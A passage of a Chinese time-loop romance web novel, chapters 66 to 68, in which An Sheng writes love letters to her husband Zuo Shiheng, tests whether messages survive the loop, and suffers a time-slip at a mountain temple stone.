她已感知不到寒冷与疼痛,似乎被虚无包裹着。 她继续走,一直走,天地皆是白茫茫一片,上下不分,混沌无常。 直到她再次看见了什么。 她慢慢走近,眼前出现一座坟茔。 神道长长,石像林立。 她飞奔而去,扑到碑前,俯身亲吻,眉梢眼角俱是柔情。 好远,好冷,好静,好大的雪。 她想,左时珩一个人睡在这里可怎么办。 她转身离去,又不知往何处走,待她回过神时,已身处云水山,枯树寂寥,寒鸦凄切。 她隐约听见山下响起热闹的鞭炮声,才恍惚意识到快要过年了。 看来,安和九年即将结束了。 她往下望,脚下是一处断崖,于是她纵身跳了下去,毫不犹豫。 在一阵巨大的撞击感中,她听见一声刺耳的卡车鸣笛,随即意识堕入了无边黑暗—— 作者有话说:大家!元!旦!快乐![烟花][烟花][烟花][哈哈大笑] (今天早点更新![好的])元旦后会重新加更的[好的] 第66章 尝试 安声缓缓掀开眼帘,映入左时珩轻蹙的眉眼,满是忧色。 她眼睫颤了颤,一滴泪自眼角滑落,浸入枕中。 左时珩用指腹拂去泪痕,将她捞在怀里,耐心安抚。 “……做噩梦了么?你一直在叫我的名字。” “嗯……” 安声抵在他胸口,说话声带着浓浓的鼻音。 “与我有关?” “嗯,我梦见我们分开了。” 左时珩微怔,随即揉了揉她的发:“我们是夫妻,除了死别,此生都不会分开。” 死别。 好沉重的一个词。 在左时珩心中,这是个遥远缥缈的概念,而于安声来说,曾一次又一次真实存在。 真残忍的一个梦啊。 梦中一幕幕仍旧清晰,她闭眼时,左时珩面色苍白地躺在棺中的景象,便会呈现眼前,挥之不去。 她在他怀中抬起头,轻声重复了梦里没有得到回应的话。 她说:“左时珩,我回来了,你看看我。” 左时珩掠过一丝诧异,但他垂眸,满眼皆是她。 “嗯,看见了,不过……”他扬起一个和煦的笑,“阿声从哪里回来的?” 安声郑重其事:“从梦里。” “原来如此。”他颔首,望向她的目光无半寸挪移,“欢迎回来,下次再去,带着我一起吧。” “那是一个噩梦哦。” “噩梦才要同去,若是美梦,你独享也无妨。” 他浅浅笑着,额头轻抵上她的,“只是,也别太久。” “如果是无数美男在怀,纵享齐人之福的美梦,左大人也如此大方吗?” “大方的是左大人,左时珩很小气,他在时,甚至不愿阿声的视线停留在别处太久,否则便要醋意大发。” “你吃过醋?何时的事?我怎么不知道?” “嗯……次数多到数不胜数,看来我伪装的很好。”他笑意低沉,学她的语气,“啊呀不行不行,怎么一不小心就把心里话说出来了,你再问一遍。” 安声忍不住笑,故意不配合他。 他凑近,一个吻软软落在她的唇瓣上:“这可怎么办,让阿声发现她的夫君是个心胸狭窄之人了,不会不要我了吧。” 安声低落的情绪轻而易举就能被他带偏了,眼下便无暇顾及残梦,语气也轻松起来。 “原来左时珩是个心胸狭窄之人啊,这我倒是第一次知道,让我想一想。” “想什么?” “想……该不该让他知道,他的妻子也不是个心胸开阔的,若我先他死了,也要做一个女鬼日夜缠着他,不许他再娶。” “好霸道啊。” 左时珩在她耳畔低低笑了几声,不像烦恼,反倒有些自鸣得意。 他气息温热倾吐,引得她酥酥麻麻的,嗓音也愈发富有磁性,将她的注意力完全引去。 “不过很可惜,阿声做不成一个女鬼,若要死别,只怕是我先。” “那你也要做鬼缠着我?” “白日远观,夜来入梦。” 安声搂住他脖子,质问道:“怎么回事?做人的时候很小气,做鬼了反而成君子了?” “因我放心不下,但阿声这般坚韧,没了我也能……” “我不能。”安声打断他,抬眸注视着他的眼,强调,“我不能。” 左时珩怔了下,似是许下一个诺言般,神色认真:“好,我知道了。” “……知道什么?” “努力加餐饭,活过一百岁。” 安声唇角弧度不自觉扬起,眸也明亮起来,才泛起的情绪因这话又烟消云散了。 左时珩总能明白她,无须长篇大论的开解。 除了左时珩,再无人可爱。 她想,她的确是坚韧的,勇敢的,有面对未来的胆量。 但那是因为,她相信一定存在一个与左时珩白头偕老的结局。 别说是十一次,即便百次,千次,万次,在到达那个结局之前,她也能坚定不移地重来- 新年伊始,六部之中工部最忙,所有冬日停工的工程都继续动工,每日有无数的奏疏文书需要审批,有无数清单账目需要核对,更有无数架要和户部吵。 左时珩身为司郎中,说忙也忙,说不忙也不忙,自然,他的“不忙”是对安声来说,因为安声见过他身为工部尚书时的操心。 安和帝登基快一年,令工部择址建陵,工部官员光是勘探风水地形,就已十分忙碌,每日都在京城附近跑来跑去,更别说还要商议画图列算材料核算成本等等,待一切完备开始动工,又不知要多少年,因此帝王大多登基不久,便计划起身后事来。 安声记得,直到安和九年,左时珩还在忙安和帝的环陵建造。 不过虽说较之前忙了些,到底是在京中,只要在京中,她便安心。 偶尔睡得早,左时珩上朝前,她还能起得来替他整理衣冠,不过他自己熟练惯了,不用她帮什么,反倒让她借这时机每每与他耳鬓厮磨一番,缠得他快来不及了才匆匆出门。 待他走了,安声便蒙头睡个回笼觉,然后被李婶抱来的岁岁与阿序吵醒。 岁岁与阿序虽不是她亲喂的,但十分粘她,早上醒了要找她,晚上也要她陪着哄着才愿意睡,虽还不会说话,但天天对她咿咿呀呀个不停。 安声一开始教他们喊“妈妈”,他们发出的音节似是而非,惹得她自己发笑,于是她换了思路,励志让他们学会的第一个词是“爹爹”。 岁岁与阿序是左时珩在这个世上唯二的牵绊,她想要他与他们建立更深的链接,系住左时珩一缕命脉。 有时她抱着岁岁或者阿序,他们对着她天真烂漫地笑,她会慢慢湿了眼眶。 他们还这么小,日日在她身边长大,怎么能骤然失去母亲呢。 她真希望他们能早些长大,再快一些,能坚强独立,不必如此依赖她。 可有时又庆幸他们还小,还不懂与娘亲分离的悲伤,他们能在父亲的羽翼下好好长大,而不必像他们父亲那样,被思念折磨得遍体鳞伤。 于是,在一个静谧午后,她哄着岁岁与阿序睡下后,独自走进了书房。 铺纸,研墨,提笔,她欲给左时珩写第一封长信。 安和九年,她读过自己的信,没有读完,也记不住,但她此时想与他说的,又有不同。 若是十一次皆有变化,那她已经给他写过上千封信了。 纸短情长,诉之不尽。 这次她应当首先与他说些什么好呢,她悬腕半晌,落笔只成“我爱你”三字,一笔一划落寞绵延。 她轻叹,摇头将信纸揉了。 有一点她是未曾改变的,那便是不想将任何一点悲伤留给左时珩。 二月寒梅未谢,院中杏花就已开了,风一吹,有花瓣零星飘飞似雪。 安声搁笔,走到窗边轻轻推开,恰有一片雪白杏花落在窗框上,她信手拈起,握入掌心。 临窗静立片刻,她松开手,那片花瓣再度落入春风里,打了两个卷,转瞬消失不见,融入天地自然中去了。 安声长吁一口气,回到桌前,提笔走墨。 “亲爱的夫君,今日我到你的书房中,竟见到寒梅与杏花同开,但梅将凋零而杏未盛放,两者皆不在艳时,却又恰逢其时,和谐的不得了。 梅花随冬日远去,而杏花随春日前来,它们本不在一个季节,却在此处相逢了,匆匆一面,胜过千言,果真是一场奇妙的缘分,纵然我知道它们即将分别,但我一点儿也不为此难过,因为岁序更迭,还有无数个冬春。 ……今日就说到此处,请记住我爱你,也记得多读几遍,给我回信。” 她碎碎念,写了许多许多,从花谈及日常琐事,不像写信,像在写日记,又或者在面对面与他说话。 足足写了一个时辰,手腕酸痛才停。 最后落脚处又加了一句—— “努力加餐饭,活过一百岁。” 然后她找来之前用木头刻的镂空爱心章,用印泥清晰印了上去。 待墨干,她将信叠好收入信封,本想用蜡封口,想一想又放弃了。 她会小心藏起信,不过即便有一日被左时珩无意见到,他也会尊重她而不擅阅,他是个君子。 何况,她不曾在信中提及半点她要离开的信息,就算被他提前读到,也没有影响。 思及此,她忽然心念一动,有个许久的疑问渐渐浮现—— 为何上一次安和四年之前的自己没有选择给安和九年重来的自己留下更为详细的信息? 若是怕向外泄露引起麻烦可以交予左时珩保管,若怕左时珩解出其意,可全文用英文书写。 但为何没有呢?一定有什么原因。 于是,她趁天色尚早,又分别写了两封信,信中内容是涉及她目前所知线索,关于时空循环,关于来客寺奇石,两封信内容一样,只是另一封做了英文翻译。 写罢,她将两封信塞入书柜隔板缝隙,又清点了信纸数目。 她怀揣心事,夜里有些不安,左时珩问她,她也是搪塞过去。 第二日等左时珩出门,她立即去了书房,找出那两封信。 信封完好无损,信纸犹在,纸上仍旧是她写的字,但是内容不对,无论常文还是英文,皆变成了她看不懂的乱码笔画。 她心跳几乎漏了一拍。 怎会如此。 但她很快又想到其他方法,譬如将关键信息隐入藏头诗呢?于是她以“时空循环”四字胡诌了一首四言绝句,同样写了两封,放入同一个位置。 翌日来看,一切如常,什么都没变。 安声松了口气,才要惊喜,忽然意识到,她不可能将百字千字都写作藏头诗,即便她能做到,安和九年的她拿到这样胡诌的长篇巨作也只会看不懂,形如乱码,且不确定那五年间,又会不会有其他意外,例如,被左时珩先一步解读出来而引发不可控的改变。 但若是只写关键信息,那么……奇石上已经留下了,她又何必白费周章。 安声一下瘫坐到椅子上,浑身无力。 她望着手中的信纸,明白过来,这样的事她定然绝非第一次尝试,显然,她失败了很多次,最终她得知—— 字只有在石上,才不会消失。 她还要再去天外山。 第67章 异象 去天外山总要有理由,这不是在现代,随时打个车去了,须得早早出发,安排马车,车夫或其他随行人员。 岁岁与阿序离不了她,虽有奶娘与李婶在,但上次她天外山一行回来稍晚了些,两个孩子就哭闹不止,实在可怜,她放不下心。 此事只能暂放一放。 从上次与林雪结伴去天外山,约小半月,林雪再度登门来找她,她会心一笑,与她在房里闲聊。 岁岁与阿序才睡醒的,正在她这里玩,林雪来后,她便让奶娘将岁岁递给林雪去抱。 林雪有些惊喜又有些紧张:“我……我不太会啊。” “像我这般。”安声抱起阿序,演示给她看,“一只手托着宝宝的屁股,扶着他的腿,另只手可以抱着他背。” 林雪小心翼翼地从奶娘怀中接过岁岁,学着安声那般将孩子抱好,与岁岁对视上,岁岁葡萄般的大眼睛滴溜溜转,似对眼前这人好奇。 她望着林雪,林雪也望着她,她忽然笑起来,林雪也跟着笑起来,心都化了。 “好可爱啊。”她笑道,“她对我笑,她喜欢我。” 安声抱了阿序坐下,将阿序放到她腿上,闻言笑道:“你生的漂亮,孩子都喜欢漂亮又善良的姨娘。” 这话夸的林雪暗喜,又不想太过失礼,于是违心自谦了几句,但嘴角的弧度却下不去,逗岁岁逗得愈发起劲。 李婶和穆诗端了吃的来,又退了出去。 安声道:“尝尝李婶的手艺,一定是你没吃过的。” 林雪端起竹筒制的奶茶杯,里面插了根麦秸细杆:“这是什么?” “奶茶,试试,小心些,别被岁岁打翻了。” 林雪点头,新奇地用麦秸秆喝了一口,眸子蓦地亮了。 “甜甜的,还有茶香和奶香,我第一次见这种的。” 岁岁伸手去抓,她忙拿远,又问安声:“她能喝吗?” 安声笑答:“当然不能,她半周岁还不到,目前只能吃奶,再过段日子,倒是能慢慢吃点米汤肉泥之类的,奶水也可以断了。” 林雪看岁岁哼哼唧唧的,同情道:“当宝宝好可怜,好吃的只能看不能吃。” “我们小时候也这样,长大了才想吃什么吃什么。”安声捡起一块糕点咬了,按住阿序的手,“不乐意也没用。” 阿序似是听懂了般,望着娘亲瘪起嘴,眼睛红红的,委屈地掉泪。 林雪喊:“宝宝哭了。” 安声笑起来:“他又不会说话,只能哭了。” 又对阿序板起脸道:“哭也没用,小朋友就是不能吃。” 阿序一下哭出声,小小的身子埋在她怀里,像受了天大的委屈,闻者伤心,听者落泪。 林雪惊问:“你怎么不哄他,还要这样说?” 所幸岁岁没有跟哥哥一同哭起来,反而被引去注意力。 安声饶有兴致:“你不觉得很有意思吗?” 以阿序的性子,大约也就这一两年爱撒娇了,待开始识字读书,便要学他父亲那般逞强起来。 林雪目瞪口呆。 她还是第一次见到安声这样的娘亲。 安声试图将阿序抱起来,但他两只小手将她衣裳抓得紧紧的,哭个不停,半点不愿离开她的怀抱。 她便对林雪眨了眨眼:“你看,这不是还增进了母子感情?不用时时惯着。” 林雪呆住,看向岁岁,岁岁挥着两只小手,兴奋地朝她笑,把她也逗笑了。 “不行不行,若是我的孩子,我才不忍心让他哭呢。” 安声想到她日后宠惯的儿子,不由失笑。 一切也是有迹可循。 两人闲坐着聊天,约半个时辰,阿序在她怀里累了,昏昏欲睡,她便让奶娘和李婶进来将孩子抱去。 岁岁不哭不闹,在林雪怀里待的乖乖的,被抱走时,林雪大为不舍,目光一直追随到门外。 安声见状笑了笑,但忽然想到安和九年时,林雪说她失踪后,左时珩大病一场,她不得不将岁岁阿序接去照顾,一颗心又变得沉重起来。 她转移话题,主动问起林雪的婚期。 林雪羞涩,说在两个月后,两家已交换完庚帖婚书,六礼完了五项,只待亲迎了。 婚事商量期间陈律亲自登门了一次,林雪想见又要秉礼,最终耐不住好奇,躲在窗下悄悄探了一眼,正好瞧见这位未来夫君离开的背影,的确是一个身形健壮的男人,行走如风,激得她少女心荡漾不已。 “他果真长得好看么?”她红着脸问。 虽听母亲与媒人说过,但媒人这张嘴她可不信,而母亲对待地位更高的陈大人,更是不会讲坏话。 她还是信安声的。 安声笑道:“真的。” 她脱口又问:“和左大人比呢?” 问完才觉得失礼,但话已出口,不觉讪讪。 安声并不在意,回她:“不好说,你知道情人眼里出西施,在我眼里,世上没有任何一个男人能同我夫君相比。” “说的也是。”林雪点头。 不过安声这般坦坦荡荡的表达爱意,倒让她有些佩服。 安声又引她去看自己那些木雕,她赞叹连连。 安声便说,等她成亲时,送她一件,问她想要什么。 林雪想了想:“大雁或者鸳鸯最好。” 安声笑道:“大雁是忠贞之鸟,故而许多人成婚都以此元素表达祝福,反倒太过常见,鸳鸯同理,且不如大雁忠贞,我想送你一件特别的作品。” “特别的?” “不刻比翼鸟的话,连理枝如何?” “连理枝?”林雪高兴说,“在天愿作比翼鸟,在地愿为连理枝吗?可我没见过连理枝什么样的。” “那岂不正好,何况连理枝本身就是树木,用木雕正好,只是十分繁琐,所以要提前问你。” 林雪握住她手,十分感动:“我在京中时日不长,还没有好友,再无人像姐姐一样待我好了。” 安声顺势笑道:“那就当我是你密友,不是姐姐。毕竟姐姐只会教导你道理,而密友会告诉你,男人和女人之间若想生孩子,不是盖一张被子即可,得像连理枝般身体紧密结合。” 当林雪意识到自己听到什么时,整个人如同煮熟的螃蟹,瞬间红透了。 她“啊”了声,捂住自己的脸。 安声偷笑,竟有种“风水轮流转”的畅快感。 …… 林雪大婚办得算是隆重,高朋满座,热闹非凡,花轿绕了闹市而过,抛洒了无数绢花糖果,引得路人哄抢,稚童追随。 陈律虽是续弦,却没亏待于她,一切都尽量按照林家的意愿来。 左时珩与陈律并无交集,但因着林雪的原因,仍是接到了请帖,于是当日安声便与左时珩备了礼登门赴宴。 林雪身着凤冠霞帔端坐在房内时,安声特意去看了她,她抓住安声的手,低声说她好紧张,今日被陈大人接亲,他的手又大又粗,磨得她手背都红了。 安声笑回:“陈大人想必不懂怜香惜玉,反正你是他正头夫人,若自己不舒服,就只管说,别忍着,忍着他也猜不到你心思。” 林雪深吸一口气:“好,我记着。” 安声一抬头,见门外有个躲躲藏藏的娇小影子,心中一动,同林雪耳语几句。 林雪应声。 安声便起身开了道门缝,轻声说:“快些进来,新娘子想看看你呢。” 门外没有动静,又过了会儿,才终于见到一个小姑娘挪了进来,生得粉雕玉琢,只是有些怯生生的。 林雪揭了一半盖头,朝她笑了笑:“过来呀。” 小姑娘缩了缩,又跑走了。 林雪看向安声,失望道:“我感觉她应该不喜欢我。” 安声笑道:“你喜欢她就好,你的日子还长呢。” 从婚礼回去,安声又写起她的第二封信。 她想将每封信都写得长长的,长到塞下很多内容,能将左时珩的内心再填满些。 她才写了个开头,左时珩就抱着阿序进来了,她立即将笔搁下,心虚用另一张纸挡住了信。 “嗯?” 左时珩注意到,有些不解。 “……秘密,不能给你看。” 左时珩委屈巴巴地拍拍阿序:“娘亲竟同爹爹有秘密了,看来是与爹爹生分了,阿序说,爹爹要怎么办?” 阿序还不会说话,咿咿呀呀的,忽然叫了“爹爹”两个字。 左时珩一震,忙望向安声,难掩惊喜。 “阿声,你方才听见了吗?” 安声笑:“听见了,儿子叫你爹爹了。” 左时珩笑意温柔,在阿序脸上亲一亲:“何时学会的?不到一岁便会叫爹爹,看来一岁便可以学三字经了。” 安声没想到他竟是这个想法,一下笑出来。 “天呐,阿序若能听懂,只怕要后悔了,这么小就被爹爹安排了繁重的学习任务。” 于是接了阿序抱在怀里,问起岁岁。 左时珩说岁岁还在睡,担心阿序醒了也吵醒妹妹,故而抱了过来,又笑了笑:“岁岁更粘你,应先学会的是‘娘亲’二字。” 安声道:“‘爹爹’两个字发音简单,更好教一些。” “原是你特意教的。”左时珩欺身贴近,将母子二人揽在怀里,在安声脸颊轻蹭,“这倒也好,免得他们会说话时成日喊娘亲,闹得你不得安生。” “左时珩,你这话像是我故意教他们去闹你而自己躲懒似的。” “若真如此,也没什么不好。” “那我可就真这么教了?”安声挑眉,“教他们与你更亲近,整日爹爹长爹爹短的,大事小事都找爹爹帮忙,我就偷懒躲清静。” 左时珩笑道:“好,不过我有要求。” “什么要求?” “你偷的懒躲的清静,要分些与我。”他凑近她耳畔,语气循循善诱,“不许孩子闹你,但要允许我闹。” 安声耳朵立时红了。 “……阿序还在这里呢。” “他听不懂。” 安声白了他一眼,又忍不住抿唇笑。 左时珩这般理直气壮,哪里还是正人君子啊,她看,黏人的不是岁岁与阿序,分明另有其人吧。 两个孩子断了母乳后,奶娘就回家去了,于是岁岁与阿序要跟着她睡,否则夜里一旦惊醒,就要害怕得哭闹,旁人哄不住。 左时珩为此睡了几日的书房,终于受不住,在某日休沐时,花了一日时间,将卧房的床亲自改了改,朝里那侧加了张靠墙的小床,让岁岁与阿序睡,大床与小床中有围栏相隔,也可放下纱帘。 当夜,他总算睡回了卧房,将妻子在怀里好一番爱抚才缓解那几晚的相思之苦。 安声白日陪两个孩子说话玩闹,已是累极,左大人忙了一天公务,却反倒精力不减,要了还要,直到后半夜才满足拥她睡去。 …… 进了春日,天气略略转暖,安和帝携百官去宗庙祈福,保佑今年风调雨顺,五谷丰登。 左时珩自然随行。 宗庙在郊外,有些远,回来还要去工部衙门处理事务,比平日里须得晚一些,安声便趁机叫了穆山驾车送她去天外山。 算算时间,她此行应当能在左时珩到家前回来,不必叫他担心去接。 她匆匆上了山,进了来客寺,寺中香客如织,还有几位文人模样的围在奇石附近交谈大笑,似乎是准备在石上题诗。 安声皱了皱眉,担心等他们往上刻字后,又会覆去更多信息,且若要等他们走了再上前,只怕还不知耽误多久,便径直走近,不理他们,自顾观石,细细摩挲。 她刚走过来,那几人见是位貌美夫人,虽看了几眼,倒也没有冒犯的意思,但她一直在旁边站着,便引起了几人注意。 有个人开口问她在做什么,安声没有理会,沉浸于寻找石上那些纷乱的信息。 另一有人靠近,手搭上她肩膀,几乎是贴近她耳边:“夫人找什么?不如我帮你找?” 安声一个激灵,拂去他手,后退转身,叱道:“登徒子!” 那人挑眉,与友人对视一番,毫不在意地笑。 “是我们先来的,你见我们在此,主动亲近又站着不走,焉不知是什么心思呢?这会儿倒装起清高?” “我在观石,与你们互不打扰。” “什么互不打扰,你身上的香味飘过来了,我们哪有作诗的心思?” 这话配着那浪荡表情,真令人反胃。 安声皱眉,想着今日作罢,懒得与他们说,抬脚便要离去,走了几步倒被他们拦住。 她沉声问:“这是佛寺,你们想做什么?” “不做什么啊,说说话也不行?” 那几人依旧一副吊儿郎当的纨绔模样,问她是哪家的小娘子,家住何方云云,还有其他一些不着调的话。 安声不欲理会,转身绕过奇石,想从后门离开。 那些人立即跟上她,正要再拦,忽然集体呆滞。 人呢? 他们面面相觑,均见到对方眼中震惊与莫名之色,前一刻还在殿中的女子不过瞬息功夫,怎么绕到石头后面就不见了? 如此短的时间,也不可能走到后门,何况后门有一半并不处于视野盲区……几人快步奔到后门向外找寻,后面是一片宽大广场,此刻仅有两个游人,一个和尚。 其中一人抓了和尚问是否见到一个女子出来。 和尚摇头。 余下人更是骇然,又跑去前门看,也未寻到人影。 此时已到午后,苍穹不知何时飘来一朵阴云,将太阳遮住,忽的天地就暗了下来,殿中更沉黑几分,山中风大,吹得经幡飘动,奇石那似人非人的面容宛如鬼魅。 几人一下不说话了,心跳加快,均感到阴气森森。 有人往殿外跑,他一动,另几人就齐刷刷跟着跑了出去,几人越跑越快,直到前面大雄宝殿前才停下,这里香客与僧人更多,总算有了人气。 一人干咽了下,颤声问:“光天化日的,莫非咱们遇见鬼了?” 另一人面色大变:“别胡说,这是佛寺,怎会有鬼?” “那……人呢?” 无人说话,又忍不住遥遥望向乌云下阴沉沉的立石殿。 是啊,人呢? …… 安声正凝视着眼前这块巨大的石头,它比之前所见要大得多,身上的刻痕便更清晰地随之放大了。 除此之外,四周一切似乎并无变化。 她转头,目光寸寸扫过殿中,阳光从窗棂而入,将一半殿内照亮,另一半却仿佛蒙了黑纱,看不真切,二者交界处,似被一刀斩断,再拼接起来,突兀又诡异。 她不了解她遇见了什么,但她知道眼前有什么发生了变化。 至少,那几人不可能在瞬息之内消失。 她看了石头片刻,并未选择上前,而是转身向来路退回。 登时,眼前出现无法用言语形容的一幕——如同被倒放的影片,又或是被从口袋一角抽走的丝巾,明亮的阳光缓缓“退潮”了,整座殿内归于一色,阴沉的,寂静的,唯有烛火在风中摇晃。 她心跳起来,快步跨出殿门,山风陡然转大,携着水汽扑面而来,天色暗得像是黑夜。 要下雨了? 她抬手挡,蓦地听见穆山焦急唤她,她忙应声,见他从一侧匆匆本来,气喘吁吁,双眼通红,急得掉泪。 “夫人……去了哪?我一顿好找,险些……” “我?”安声诧异,“我一直在殿中。” 异象发生前后不过一盏茶。 她意识到什么,立即问:“什么时辰了?” 穆山擦了擦眼,道:“酉时末了。” “什么?!”安声圆睁了眼,难以置信。 她踏入立石殿是在午时中,从进去到出来,加上与那几人纠缠的时间,怎么也不可能过了七个小时。 穆山后怕:“我都急死了,四处找夫人找不到,问了所有人都说没见到,差点想回家找大人请罪了……” 安声顾不得别的:“你借盏琉璃灯,我们现在下山。” 天外山不高,山路也好走,但入了夜情况便大有不同,何况起了风,尚在春季,又冷又难行。 安声运气用光了,走了还不到一半,雨就下了下来,一时寒意入骨,烛光隐灭,伞也撑不住。 她脑子乱乱的,来不及整理今日得到的信息,只想着快些下山回家,只怕这会儿左时珩已经从工部回了。 可雨天路滑,下山比上山还难,她勉强走出一段,风一吹,伞掀翻了,力道直接带着她也往一侧偏了身子,没站稳半跪到泥泞里,伞骨断折,手掌也擦破了。 穆山大急,忙来扶她。 安声咬牙摆手:“别……我自己起,你护好灯,免得跌了打碎,我们迷了路就困在半山腰了。” 她抓住路旁树枝起身,脚踝疼得钻心,想来是扭到了。 穆山一手提灯,一手撑伞,护着她慢慢往下走。 风卷雨丝混乱无序,撑着伞也遮不住,安声头发都湿了,衣裳也皆是泥泞。 穆山也没好到哪去,雨水几乎湿透了他半边身子。 她叹了口气,停下来缓了缓,向穆山道歉:“实在是我连累了你……” “夫人哪里的话,我这条命都是你和大人救的。” 安声摇头,正要说话,忽听有人在喊,定睛一看,远方山路上竟有一行人提着灯往上找来。 穆山也看见了,赶紧大呼几声。 那边顿了顿,加快脚步上山,朝他们这里奔来。 隔着山雾雨幕,安声见当先那人身量颀长,大步流星,连淋雨也顾不得,三步并做两步到她身边,解了斗篷。 暖意与熟悉的白梅香同时将她裹住,安声窝在斗篷里,只露出一张冷得发白的脸,在几盏明灭的烛光下愈发柔弱可怜。 “左时珩……” 安声不知怎么,方才在穆山面前还坚强得很,眼下却刹不住泪。 左时珩没有同她多说什么,只抬手抚了抚她头发,将斗笠给她戴好,然后半蹲下:“上来,我背你。” 安声趴到他背上,紧紧搂着他脖颈,伏在他肩上。 风小了些,雨却越下越大,几人步履匆匆,没空交谈,很快下了山。 左时珩将安声抱进马车内,转身出去同那些人说了什么,过了会儿才重新进来,由穆山驾车往家赶。 安声已摘了斗笠,缩在斗篷里瑟瑟发抖。 左时珩给她解下斗篷,脱去了她打湿的外衣,用车内的毯子给她披了,又用自己脱下的衣裳给她擦了擦头发。 “坐好,脚也让我看看。” “左时珩……”安声再忍不住,扑进他怀里,紧紧抱着他,冷得发颤,“对不起,让你担心了。” 左时珩叹了口气,将她搂入怀中:“能同我说说,为何又去天外山吗?” 第68章 春夜 安声想,她生命中的所有事都可以与左时珩分享。 唯独此事,不可与外人道也。 眼下她更是脑子乱乱的,自己都没理清逻辑,便连个谎话也编不出来,只好在他面前耍起无赖。 “左时珩,我好冷……手好痛,脚也好痛……痛的要死了……” “手怎么了?” “掌心蹭破了,好像流血了。” “……”左时珩沉默了瞬,只有声叹息。 马车内摇摇晃晃,又没光线,不方便检查伤口,他只好握住妻子的手腕,以免她乱动,然后用毯子将她整个人裹在自己怀里,用体温暖着她。 安声贴着他胸膛,听着他平稳有力的心跳,身上的寒意慢慢散去。 一时谁也无话,只有马蹄哒哒,车轮滚滚。 穆山一路紧赶慢赶,将马车驾得飞快,到了杏花胡同,左时珩抱着安声快步往卧房里去,吩咐李婶打热水来。 他将安声放到榻上坐着,先替她检查脚踝,脱去沾满泥水的鞋袜,见那纤细的左脚脚腕处已红肿起来,不由心疼的蹙眉。 他握上去,安声下意识缩了缩。 他抬眸看了她一眼,摇头,温声道:“大约是脱臼了,我替你正一正,有些疼,你扶着我肩膀。” 安声闻言照做,颤颤巍巍地闭上眼。 左时珩一手握住她脚腕,另只手握住她脚转了转,冷不丁用力,隐约一声骨骼微响,安声吃痛,将他肩上的衣都抓皱了。 他的手温热宽大,几乎能将她的脚整个包住,见状,顺势捂了捂,又按揉两下:“不要紧,我去湿条帕子来替你敷一敷。” 安声拥着毯子僵坐,只觉又冷又疼,心中还有说不出的话,有些想哭,又觉得有些丢人,便强忍着。 左时珩给她冷敷了会儿,李婶那边也将热水送去了净室,他便抱着安声进去,给她脱了衣裳泡澡,去去寒气。 安声抓住他手:“不帮我洗吗?” 左时珩有些无奈:“只是脚受伤了,澡都不会洗了?” “我手也受伤了,你看。”她举起两只手,右手掌根有些擦破,“你不帮我,我会疼死的。” 左时珩仔细看了看。 “不算严重,你泡澡时这只手别放到水里,过一会儿我再进来。” 他走了出去。 安声望着他背影,趴到桶沿上,水汽蒸腾,一袭乌发在身后海草般散开飘浮。 她感觉,左时珩好像又生气了。 她这一去一日,岁岁与阿序都不知闹了几回要娘亲了,因此她洗完就立刻上了床,陪两个孩子玩,看他们在身旁爬来爬去,咿咿呀呀的。 左时珩进来,端着碗姜汤:“把这个喝了。” 安声皱眉:“我不要,我……阿嚏……” 左时珩稍稍俯身:“就这么想生病?” 安声心虚,接了抿了一口,脸皱起来:“左时珩,你故意的,一点糖都没加。” “嗯,故意的,要你长个记性。” 安声抬头望着他,眼眶有些发红。 她原本算好时间的,谁知意外不可控,她又有难言之隐。 她不再说,默默接过姜汤,喝了一口,才要喝第二口时,左时珩将碗端走,往里加了蜂蜜才给她。 她有些发愣。 左时珩道:“眼泪都快掉碗里了,再不喝,不止辣,还会又苦又咸。” 她抿了抿唇,本来没想哭的,听他这样说反倒委屈,忙屏气将姜汤几口灌下去转移了情绪。 左时珩问她:“在来客寺可有用素斋?” 她摇头。 他又叹了口气,一副“果然如此”的表情。 “穿了衣裳过来吃饭吧。” “我不饿,也没胃口。” “嗯,大约是喝了姜汤的缘故,那便过会儿再吃,灶上温着鸡汤,我去书房处理些公务,过会儿就来。” 安声见他出去,转身趴在围栏上看小床上的岁岁与阿序,左时珩给他们打这张小床时,用木块做了风铃似的吊坠挂在床顶,她便将木块刻成了各种小动物,手一拨就清脆地响,两个宝宝很喜欢,躺着睡觉时,能高兴得手舞足蹈。 喝了姜汤身子暖了些,但她还是打了几个喷嚏,便忙哄了岁岁与阿序睡觉,将纱帘放下来,自己拥着被子缩进去捂住。 约半个时辰,她听见左时珩进来,大约以为她睡着了,便轻手轻脚地走到床边坐下,手伸进被子里探了探她额头,见她似乎没有发烧才放心。 安声趁机握住他手,将脸埋进去。 “没睡?”左时珩有些意外,又低声问,“那饿了吗?吃些东西吧。” 安声安静片刻,声音从被子里闷闷地传出来。 “没什么胃口。” “多少吃一点吧,不要饿着肚子睡觉。” 左时珩动作温柔地将被子掀开,拂顺她散乱的发丝。 安声转脸看他,跌入他烛光下晦暗的眸,窥见到毫不掩饰的担心,拒绝的话便说不出口了,于是应声。 左时珩真是个连生气都不易察觉的人,还是一如既往的好,好到让她愈发愧疚。 她披了衣裳下床,同他去到厨房,简单吃了小碗鸡汤拌饭,不知为何,平日里很香的味道这会儿怎么尝都淡。 她吸了吸鼻子,感觉自己大约是要感冒了。 左时珩没有强求她,让她早些睡。 才要吹灯,安声说:“我睡不着,左时珩,你给我念书听吧。” “好。” 左时珩随手拿了一本《晋书》,靠在床头,语调轻缓地念起来。 片刻,安声趴到他怀里,又向他胸口拱了拱,脑袋从书底下钻出来。 “你念得太没有感情了,不好。” “那我应该用什么感情来念?” “像我讲故事那样。” “嗯——”他语调扬起,尾音长长的,“那种本来是睡前故事,却情节跌宕,转折离谱,把自己讲得激情澎湃,哈哈大笑,愈发清醒的方式?” “……” “甚至还要拉着我一起演示,问我,如果你是女皇,我是男妃,我会怎么勾引你?” “……” 安声将他的书抽走,埋在他怀里,莫名羞耻,“就两次而已,你怎么记得这么清楚?” “过目不忘,我也没办法。”他又将书拿回来,随手放到枕下,“我明日还要早起,今夜恐怕没空陪你闹个尽兴,你若不想听我念书,便熄灯睡觉。” “左时珩,那我给你讲故事,这次保证真的是睡前故事。” “好,你说。” 他眸底浮起淡淡的笑。 “从前有座山,山上有座庙,庙里有很多小鸭子,它们每天都要排队吃饭,但有一只小鸭子总是排不好,你猜为什么?” “为什么?” “你猜呀。” “因为它跟你一样不听话,下山时把脚扭伤了,还不愿说原因,没有一个认错的态度,很有可能下次再犯。” 安声脸发红,搂住他脖子,趴在他耳边:“错了错了……因为这只鸭的名字叫‘对不齐鸭’,对不齐鸭,对不齐鸭~” 左时珩忍不住低笑了声。 他总想不到妻子还有多少可爱来对付他,而他几乎每次都能很快缴械投降。 “左时珩,你听到我刚刚说的了吗?那只鸭叫对不齐鸭。” 